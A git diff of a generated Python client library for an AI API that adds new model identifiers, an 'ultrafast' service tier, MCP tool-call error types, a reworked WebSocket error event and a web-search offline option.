stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -1722,6 +1737,7 @@ def compact(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -1810,6 +1826,8 @@ def compact(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -2005,7 +2023,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -2176,6 +2195,10 @@ async def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -2287,7 +2310,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -2464,6 +2488,10 @@ async def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -2568,7 +2596,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -2745,6 +2774,10 @@ async def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -2847,7 +2880,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -2958,7 +2992,7 @@ def stream(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -3001,7 +3035,7 @@ def stream(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -3162,7 +3196,7 @@ async def parse(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -3574,6 +3608,7 @@ async def compact(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -3662,6 +3697,8 @@ async def compact(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -4234,7 +4271,7 @@ async def dispatch_events(self) -> None:
generic = self._event_handler_registry.get_handlers("event")
if event_type == "error" and not specific and not generic:
- if isinstance(event, ResponseErrorEvent):
+ if isinstance(event, ResponseWsError):
raise OpenAIError(f"WebSocket error: {event}")
for handler in specific:
@@ -4683,7 +4720,7 @@ def dispatch_events(self) -> None:
generic = self._event_handler_registry.get_handlers("event")
if event_type == "error" and not specific and not generic:
- if isinstance(event, ResponseErrorEvent):
+ if isinstance(event, ResponseWsError):
raise OpenAIError(f"WebSocket error: {event}")
for handler in specific:
@@ -4896,7 +4933,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
@@ -4982,7 +5020,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
diff --git a/src/openai/types/beta/__init__.py b/src/openai/types/beta/__init__.py
index fd4fb80717..52d3322576 100644
--- a/src/openai/types/beta/__init__.py
+++ b/src/openai/types/beta/__init__.py
@@ -60,6 +60,7 @@
from .beta_function_shell_tool import BetaFunctionShellTool as BetaFunctionShellTool
from .beta_function_tool_param import BetaFunctionToolParam as BetaFunctionToolParam
from .beta_inline_skill_source import BetaInlineSkillSource as BetaInlineSkillSource
+from .beta_mcp_tool_call_error import BetaMcpToolCallError as BetaMcpToolCallError
from .beta_response_includable import BetaResponseIncludable as BetaResponseIncludable
from .beta_response_input_file import BetaResponseInputFile as BetaResponseInputFile
from .beta_response_input_item import BetaResponseInputItem as BetaResponseInputItem
@@ -115,6 +116,7 @@
from .beta_container_reference_param import BetaContainerReferenceParam as BetaContainerReferenceParam
from .beta_function_shell_tool_param import BetaFunctionShellToolParam as BetaFunctionShellToolParam
from .beta_inline_skill_source_param import BetaInlineSkillSourceParam as BetaInlineSkillSourceParam
+from .beta_mcp_tool_call_error_param import BetaMcpToolCallErrorParam as BetaMcpToolCallErrorParam
from .beta_response_audio_done_event import BetaResponseAudioDoneEvent as BetaResponseAudioDoneEvent
from .beta_response_custom_tool_call import BetaResponseCustomToolCall as BetaResponseCustomToolCall
from .beta_response_incomplete_event import BetaResponseIncompleteEvent as BetaResponseIncompleteEvent
diff --git a/src/openai/types/beta/beta_mcp_tool_call_error.py b/src/openai/types/beta/beta_mcp_tool_call_error.py
new file mode 100644
index 0000000000..a24fc13f4b
--- /dev/null
+++ b/src/openai/types/beta/beta_mcp_tool_call_error.py
@@ -0,0 +1,36 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = ["BetaMcpToolCallError", "McpProtocolError", "McpToolExecutionError", "HTTPError"]
+
+
+class McpProtocolError(BaseModel):
+ code: int
+
+ message: str
+
+ type: Literal["mcp_protocol_error"]
+
+
+class McpToolExecutionError(BaseModel):
+ content: object
+
+ type: Literal["mcp_tool_execution_error"]
+
+
+class HTTPError(BaseModel):
+ code: int
+
+ message: str
+
+ type: Literal["http_error"]
+
+
+BetaMcpToolCallError: TypeAlias = Annotated[
+ Union[McpProtocolError, McpToolExecutionError, HTTPError], PropertyInfo(discriminator="type")
+]
diff --git a/src/openai/types/beta/beta_mcp_tool_call_error_param.py b/src/openai/types/beta/beta_mcp_tool_call_error_param.py
new file mode 100644
index 0000000000..a81608e785
--- /dev/null
+++ b/src/openai/types/beta/beta_mcp_tool_call_error_param.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = ["BetaMcpToolCallErrorParam", "McpProtocolError", "McpToolExecutionError", "HTTPError"]
+
+
+class McpProtocolError(TypedDict, total=False):
+ code: Required[int]
+
+ message: Required[str]
+
+ type: Required[Literal["mcp_protocol_error"]]
+
+
+class McpToolExecutionError(TypedDict, total=False):
+ content: Required[object]
+
+ type: Required[Literal["mcp_tool_execution_error"]]
+
+
+class HTTPError(TypedDict, total=False):
+ code: Required[int]
+
+ message: Required[str]
+
+ type: Required[Literal["http_error"]]
+
+
+BetaMcpToolCallErrorParam: TypeAlias = Union[McpProtocolError, McpToolExecutionError, HTTPError]
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index fde3276541..7ec4eef813 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -282,6 +282,7 @@ class BetaResponse(BaseModel):
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -370,6 +371,8 @@ class BetaResponse(BaseModel):
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -555,7 +558,7 @@ class BetaResponse(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] = None
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] = None
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
@@ -570,6 +573,10 @@ class BetaResponse(BaseModel):
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/beta/beta_response_input_item.py b/src/openai/types/beta/beta_response_input_item.py
index 1f62347705..a481f80c9e 100644
--- a/src/openai/types/beta/beta_response_input_item.py
+++ b/src/openai/types/beta/beta_response_input_item.py
@@ -9,6 +9,7 @@
from .beta_local_environment import BetaLocalEnvironment
from .beta_easy_input_message import BetaEasyInputMessage
from .beta_container_reference import BetaContainerReference
+from .beta_mcp_tool_call_error import BetaMcpToolCallError
from .beta_response_output_message import BetaResponseOutputMessage
from .beta_response_reasoning_item import BetaResponseReasoningItem
from .beta_response_custom_tool_call import BetaResponseCustomToolCall
@@ -1026,7 +1027,7 @@ class McpCall(BaseModel):
corresponding tool call.
"""
- error: Optional[str] = None
+ error: Optional[BetaMcpToolCallError] = None
"""The error from the tool call, if any."""
output: Optional[str] = None
diff --git a/src/openai/types/beta/beta_response_input_item_param.py b/src/openai/types/beta/beta_response_input_item_param.py
index d705b16c95..eb27040f11 100644
--- a/src/openai/types/beta/beta_response_input_item_param.py
+++ b/src/openai/types/beta/beta_response_input_item_param.py
@@ -10,6 +10,7 @@
from .beta_local_environment_param import BetaLocalEnvironmentParam
from .beta_easy_input_message_param import BetaEasyInputMessageParam
from .beta_container_reference_param import BetaContainerReferenceParam
+from .beta_mcp_tool_call_error_param import BetaMcpToolCallErrorParam
from .beta_response_output_message_param import BetaResponseOutputMessageParam
from .beta_response_reasoning_item_param import BetaResponseReasoningItemParam
from .beta_response_custom_tool_call_param import BetaResponseCustomToolCallParam
@@ -1014,7 +1015,7 @@ class McpCall(TypedDict, total=False):
corresponding tool call.
"""
- error: Optional[str]
+ error: Optional[BetaMcpToolCallErrorParam]
"""The error from the tool call, if any."""
output: Optional[str]
diff --git a/src/openai/types/beta/beta_response_input_param.py b/src/openai/types/beta/beta_response_input_param.py
index d497669e47..4f81e3505f 100644
--- a/src/openai/types/beta/beta_response_input_param.py
+++ b/src/openai/types/beta/beta_response_input_param.py
@@ -10,6 +10,7 @@
from .beta_local_environment_param import BetaLocalEnvironmentParam
from .beta_easy_input_message_param import BetaEasyInputMessageParam
from .beta_container_reference_param import BetaContainerReferenceParam
+from .beta_mcp_tool_call_error_param import BetaMcpToolCallErrorParam
from .beta_response_output_message_param import BetaResponseOutputMessageParam
from .beta_response_reasoning_item_param import BetaResponseReasoningItemParam
from .beta_response_custom_tool_call_param import BetaResponseCustomToolCallParam
@@ -1015,7 +1016,7 @@ class McpCall(TypedDict, total=False):
corresponding tool call.
"""
- error: Optional[str]
+ error: Optional[BetaMcpToolCallErrorParam]
"""The error from the tool call, if any."""
output: Optional[str]
diff --git a/src/openai/types/beta/beta_response_item.py b/src/openai/types/beta/beta_response_item.py
index e538610e80..325220968e 100644
--- a/src/openai/types/beta/beta_response_item.py
+++ b/src/openai/types/beta/beta_response_item.py
@@ -6,6 +6,7 @@
from ..._utils import PropertyInfo
from ..._models import BaseModel
from .beta_tool import BetaTool
+from .beta_mcp_tool_call_error import BetaMcpToolCallError
from .beta_response_input_file import BetaResponseInputFile
from .beta_response_input_text import BetaResponseInputText
from .beta_response_input_image import BetaResponseInputImage
@@ -567,7 +568,7 @@ class McpCall(BaseModel):
corresponding tool call.
"""
- error: Optional[str] = None
+ error: Optional[BetaMcpToolCallError] = None
"""The error from the tool call, if any."""
output: Optional[str] = None
diff --git a/src/openai/types/beta/beta_response_output_item.py b/src/openai/types/beta/beta_response_output_item.py
index 39169c3824..045a7a6b90 100644
--- a/src/openai/types/beta/beta_response_output_item.py
+++ b/src/openai/types/beta/beta_response_output_item.py
@@ -6,6 +6,7 @@
from ..._utils import PropertyInfo
from ..._models import BaseModel
from .beta_tool import BetaTool
+from .beta_mcp_tool_call_error import BetaMcpToolCallError
from .beta_response_input_file import BetaResponseInputFile
from .beta_response_input_text import BetaResponseInputText
from .beta_response_input_image import BetaResponseInputImage
@@ -463,7 +464,7 @@ class McpCall(BaseModel):
corresponding tool call.
"""
- error: Optional[str] = None
+ error: Optional[BetaMcpToolCallError] = None
"""The error from the tool call, if any."""
output: Optional[str] = None
diff --git a/src/openai/types/beta/beta_response_output_item_added_event.py b/src/openai/types/beta/beta_response_output_item_added_event.py
index 6d1c8e1f9a..4e12b9d3d0 100644
--- a/src/openai/types/beta/beta_response_output_item_added_event.py
+++ b/src/openai/types/beta/beta_response_output_item_added_event.py
@@ -20,7 +20,13 @@ class BetaResponseOutputItemAddedEvent(BaseModel):
"""Emitted when a new output item is added."""
item: BetaResponseOutputItem
- """The output item that was added."""
+ """The output item that was added.
+
+ For reasoning items, `encrypted_content` may be incomplete while the item is in
+ progress. Use the reasoning item from the corresponding
+ `response.output_item.done` event when passing it as input to a subsequent
+ request.
+ """
output_index: int
"""The index of the output item that was added."""
diff --git a/src/openai/types/beta/beta_response_output_text_annotation_added_event.py b/src/openai/types/beta/beta_response_output_text_annotation_added_event.py
index 1be73bcfcd..e16005cadd 100644
--- a/src/openai/types/beta/beta_response_output_text_annotation_added_event.py
+++ b/src/openai/types/beta/beta_response_output_text_annotation_added_event.py
@@ -1,11 +1,96 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import Optional
-from typing_extensions import Literal
+from typing import Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+from ..._utils import PropertyInfo
from ..._models import BaseModel
-__all__ = ["BetaResponseOutputTextAnnotationAddedEvent", "Agent"]
+__all__ = [
+ "BetaResponseOutputTextAnnotationAddedEvent",
+ "Annotation",
+ "AnnotationFileCitation",
+ "AnnotationURLCitation",
+ "AnnotationContainerFileCitation",
+ "AnnotationFilePath",
+ "Agent",
+]
+
+
+class AnnotationFileCitation(BaseModel):
+ """A citation to a file."""
+
+ file_id: str
+ """The ID of the file."""
+
+ filename: str
+ """The filename of the file cited."""
+
+ index: int
+ """The index of the file in the list of files."""
+
+ type: Literal["file_citation"]
+ """The type of the file citation. Always `file_citation`."""
+
+
+class AnnotationURLCitation(BaseModel):
+ """A citation for a web resource used to generate a model response."""
+
+ end_index: int
+ """The index of the last character of the URL citation in the message."""
+
+ start_index: int
+ """The index of the first character of the URL citation in the message."""
+
+ title: str
+ """The title of the web resource."""
+
+ type: Literal["url_citation"]
+ """The type of the URL citation. Always `url_citation`."""
+
+ url: str
+ """The URL of the web resource."""
+
+
+class AnnotationContainerFileCitation(BaseModel):
+ """A citation for a container file used to generate a model response."""
+
+ container_id: str
+ """The ID of the container file."""
+
+ end_index: int
+ """The index of the last character of the container file citation in the message."""
+
+ file_id: str
+ """The ID of the file."""
+
+ filename: str
+ """The filename of the container file cited."""
+
+ start_index: int
+ """The index of the first character of the container file citation in the message."""
+
+ type: Literal["container_file_citation"]
+ """The type of the container file citation. Always `container_file_citation`."""
+
+
+class AnnotationFilePath(BaseModel):
+ """A path to a file."""
+
+ file_id: str
+ """The ID of the file."""
+
+ index: int
+ """The index of the file in the list of files."""
+
+ type: Literal["file_path"]
+ """The type of the file path. Always `file_path`."""
+
+
+Annotation: TypeAlias = Annotated[
+ Union[AnnotationFileCitation, AnnotationURLCitation, AnnotationContainerFileCitation, AnnotationFilePath, None],
+ PropertyInfo(discriminator="type"),
+]
class Agent(BaseModel):
@@ -18,8 +103,8 @@ class Agent(BaseModel):
class BetaResponseOutputTextAnnotationAddedEvent(BaseModel):
"""Emitted when an annotation is added to output text content."""
- annotation: object
- """The annotation object being added. (See annotation schema for details.)"""
+ annotation: Optional[Annotation] = None
+ """An annotation that applies to a span of output text."""
annotation_index: int
"""The index of the annotation within the content part."""
diff --git a/src/openai/types/beta/beta_response_reasoning_item.py b/src/openai/types/beta/beta_response_reasoning_item.py
index 80f8a75b17..36adc14def 100644
--- a/src/openai/types/beta/beta_response_reasoning_item.py
+++ b/src/openai/types/beta/beta_response_reasoning_item.py
@@ -63,6 +63,11 @@ class BetaResponseReasoningItem(BaseModel):
This is populated by default for reasoning items returned by
`POST /v1/responses` and WebSocket `response.create` requests.
+
+ When streaming, use the completed reasoning item and its `encrypted_content`
+ from the `response.output_item.done` event in subsequent requests. The
+ `encrypted_content` in `response.output_item.added` may be incomplete. This is
+ especially important when `store` is `false` or when using Zero Data Retention.
"""
status: Optional[Literal["in_progress", "completed", "incomplete"]] = None
diff --git a/src/openai/types/beta/beta_response_reasoning_item_param.py b/src/openai/types/beta/beta_response_reasoning_item_param.py
index 1d64f577c4..d1f90c0f27 100644
--- a/src/openai/types/beta/beta_response_reasoning_item_param.py
+++ b/src/openai/types/beta/beta_response_reasoning_item_param.py
@@ -63,6 +63,11 @@ class BetaResponseReasoningItemParam(TypedDict, total=False):
This is populated by default for reasoning items returned by
`POST /v1/responses` and WebSocket `response.create` requests.
+
+ When streaming, use the completed reasoning item and its `encrypted_content`
+ from the `response.output_item.done` event in subsequent requests. The
+ `encrypted_content` in `response.output_item.added` may be incomplete. This is
+ especially important when `store` is `false` or when using Zero Data Retention.
"""
status: Literal["in_progress", "completed", "incomplete"]
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 7f86daa1ed..fc231efa76 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -317,6 +317,7 @@ class ResponseCreate(BaseModel):
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -405,6 +406,8 @@ class ResponseCreate(BaseModel):
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -505,7 +508,7 @@ class ResponseCreate(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] = None
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] = None
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
@@ -520,6 +523,10 @@ class ResponseCreate(BaseModel):
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 8f06071750..61a0995e01 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -317,6 +317,7 @@ class ResponseCreate(TypedDict, total=False):
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -405,6 +406,8 @@ class ResponseCreate(TypedDict, total=False):
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -504,7 +507,7 @@ class ResponseCreate(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]]
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
@@ -519,6 +522,10 @@ class ResponseCreate(TypedDict, total=False):
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
diff --git a/src/openai/types/beta/beta_responses_server_event.py b/src/openai/types/beta/beta_responses_server_event.py
index b22ed784fb..1988694174 100644
--- a/src/openai/types/beta/beta_responses_server_event.py
+++ b/src/openai/types/beta/beta_responses_server_event.py
@@ -1,10 +1,10 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import Union, Optional
-from typing_extensions import Annotated, TypeAlias
+from typing import Dict, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
from ..._utils import PropertyInfo
-from .beta_response_error_event import BetaResponseErrorEvent
+from ..._models import BaseModel
from .beta_response_failed_event import BetaResponseFailedEvent
from .beta_response_queued_event import BetaResponseQueuedEvent
from .beta_response_created_event import BetaResponseCreatedEvent
@@ -75,7 +75,6 @@
"BetaResponseContentPartWsAdded",
"BetaResponseContentPartWsDone",
"BetaResponseWsCreated",
- "BetaResponseWsError",
"BetaResponseFileSearchCallWsCompleted",
"BetaResponseFileSearchCallInWsProgress",
"BetaResponseFileSearchCallWsSearching",
@@ -115,6 +114,9 @@
"BetaResponseWsQueued",
"BetaResponseCustomToolCallInputWsDelta",
"BetaResponseCustomToolCallInputWsDone",
+ "BetaResponseWsError",
+ "BetaResponseWsErrorError",
+ "BetaResponseWsErrorAgent",
]
@@ -261,17 +263,6 @@ class BetaResponseWsCreated(BetaResponseCreatedEvent):
"""
-class BetaResponseWsError(BetaResponseErrorEvent):
- """Emitted when an error occurs."""
-
- stream_id: Optional[str] = None
- """The WebSocket lane that emitted this event.
-
- This field is present when the originating `response.create` event supplied a
- `stream_id`.
- """
-
-
class BetaResponseFileSearchCallWsCompleted(BetaResponseFileSearchCallCompletedEvent):
"""Emitted when a file search call is completed (results found)."""
@@ -709,6 +700,58 @@ class BetaResponseCustomToolCallInputWsDone(BetaResponseCustomToolCallInputDoneE
"""
+class BetaResponseWsErrorError(BaseModel):
+ """Details about the error."""
+
+ code: Optional[str] = None
+ """The error code that was emitted, if any."""
+
+ message: str
+ """The human-readable error message that was emitted."""
+
+ param: Optional[str] = None
+ """The parameter name that was associated with the error, if any."""
+
+ type: str
+ """The error type that was emitted."""
+
+ headers: Optional[Dict[str, str]] = None
+ """The response headers that were emitted with the error, if any."""
+
+
+class BetaResponseWsErrorAgent(BaseModel):
+ """The agent that owns this multi-agent streaming event."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class BetaResponseWsError(BaseModel):
+ """Emitted when an error occurs while processing a Responses WebSocket request."""
+
+ error: BetaResponseWsErrorError
+ """Details about the error."""
+
+ type: Literal["error"]
+ """The type of the event. Always `error`."""
+
+ agent: Optional[BetaResponseWsErrorAgent] = None
+ """The agent that owns this multi-agent streaming event."""
+
+ sequence_number: Optional[int] = None
+ """The sequence number of an error emitted by the response stream."""
+
+ status: Optional[int] = None
+ """The HTTP status code associated with a WebSocket protocol error."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
BetaResponsesServerEvent: TypeAlias = Annotated[
Union[
BetaResponseAudioWsDelta,
@@ -724,7 +767,6 @@ class BetaResponseCustomToolCallInputWsDone(BetaResponseCustomToolCallInputDoneE
BetaResponseContentPartWsAdded,
BetaResponseContentPartWsDone,
BetaResponseWsCreated,
- BetaResponseWsError,
BetaResponseFileSearchCallWsCompleted,
BetaResponseFileSearchCallInWsProgress,
BetaResponseFileSearchCallWsSearching,
@@ -764,6 +806,7 @@ class BetaResponseCustomToolCallInputWsDone(BetaResponseCustomToolCallInputDoneE
BetaResponseWsQueued,
BetaResponseCustomToolCallInputWsDelta,
BetaResponseCustomToolCallInputWsDone,
+ BetaResponseWsError,
BetaResponseInjectCreatedEvent,
BetaResponseInjectFailedEvent,
],
diff --git a/src/openai/types/beta/beta_web_search_tool.py b/src/openai/types/beta/beta_web_search_tool.py
index 4a79fcce22..25e1ce761f 100644
--- a/src/openai/types/beta/beta_web_search_tool.py
+++ b/src/openai/types/beta/beta_web_search_tool.py
@@ -59,6 +59,13 @@ class BetaWebSearchTool(BaseModel):
One of `web_search` or `web_search_2025_08_26`.
"""
+ external_web_access: Optional[bool] = None
+ """Allow live internet access for web search.
+
+ Defaults to true when omitted. When false, the web search tool runs in
+ offline/cache-only mode and will not fetch new external content.
+ """
+
filters: Optional[Filters] = None
"""Filters for the search."""
diff --git a/src/openai/types/beta/beta_web_search_tool_param.py b/src/openai/types/beta/beta_web_search_tool_param.py
index 9a879482ed..852fce6754 100644
